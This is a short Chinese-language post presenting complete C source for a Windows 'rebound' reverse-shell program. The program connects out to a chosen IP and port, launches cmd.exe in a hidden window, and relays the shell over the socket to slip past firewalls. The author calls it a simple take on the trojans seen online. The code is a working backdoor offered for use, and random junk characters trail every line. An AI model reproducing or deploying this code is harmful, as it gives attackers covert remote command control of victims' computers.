这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p~SClaR3H
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/* ============================== dYG,_ji
Rebound port in Windows NT v'U{/ ,x
By wind,2006/7 y`\@N"Cf
===============================*/ fa++MNf}3
#include Ir
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#include gYNjzew'
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#pragma comment(lib,"wsock32.lib") 9`1O"R/
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void OutputShell(); $CY~5A `l9
SOCKET sClient; @aAW*D~-J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |%J {RA
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void main(int argc,char **argv) 4[;X{ !
{ F<L
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WSADATA stWsaData; :e_V7t)o
int nRet; d@ i}-;
SOCKADDR_IN stSaiClient,stSaiServer; }j^i}^Du,
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if(argc != 3) Hw7;;HK
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{ 7Nk!1s:
printf("Useage:\n\rRebound DestIP DestPort\n"); }RzWJ@QD<
return; xC{qV,
} xfpa]Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); **$LR<L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .} q&5v
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stSaiClient.sin_family = AF_INET; |_] Q$q[[%
stSaiClient.sin_port = htons(0); 8kU!8^mH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C"!gZ8*\!9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pk^K:Xs}
{ CS@FYO
printf("Bind Socket Failed!\n"); T?x[C4wf+
return; 8dO!
} &7`^i.fh)
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stSaiServer.sin_family = AF_INET; S'4(0j
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rf?qdd(~cH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UaWl6 Y&Vu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~Lm$i6E<
{ ,eTUhK
printf("Connect Error!"); I(V!Mv8j
return; 6kNrYom
} !9[>L@#G
OutputShell(); _I)U%?V+
} P0W*C6&71|
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void OutputShell() d{SG
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{ Jth[DUH8H
char szBuff[1024]; n@C[@?D
SECURITY_ATTRIBUTES stSecurityAttributes; *A"~m!=
OSVERSIONINFO stOsversionInfo; {U1?Et#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Oy%''+g
STARTUPINFO stStartupInfo; E7.2T^o;M
char *szShell; P>s[tM
PROCESS_INFORMATION stProcessInformation; K? y[V1,
unsigned long lBytesRead; x[$z({Yf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (#Wu#F1;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]L9s%]o
stSecurityAttributes.lpSecurityDescriptor = 0; VHCK2}ps
stSecurityAttributes.bInheritHandle = TRUE; np8gKVD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y9x w
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `8AR_7i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %k;|\%B`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (Tn- >).AO
stStartupInfo.wShowWindow = SW_HIDE; do*EKo
stStartupInfo.hStdInput = hReadPipe; \#Pfj&*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Pb1*\+
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GetVersionEx(&stOsversionInfo); 1guJG_;z
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switch(stOsversionInfo.dwPlatformId) g/P+ZXJ
{ -(
case 1: bYEy<7)x
szShell = "command.com"; ,1 [q^-9
break; '}fzX2Q#
default: )n2 re?S
szShell = "cmd.exe"; v6>_ j
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break; | # 47O
} =<?+#-;p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $npT[~U5
Dp)=0<$y
send(sClient,szMsg,77,0); 8=NM|i
while(1) gj*+\3KO@a
{ j!U-'zJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Dpl A?
if(lBytesRead) 5]AC*2(
{ #vti+A~n,4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %= fHu+
send(sClient,szBuff,lBytesRead,0); ] Hzt b
} L*&p!
else :I+Gu*0WD
{ G/7cK\^u
lBytesRead=recv(sClient,szBuff,1024,0); IOqwCD[
if(lBytesRead<=0) break; xx#zN0I>-y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `< xn8h9p
} "|q qUKJZ
} nlW +.a[
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return; j2QmxTa!
}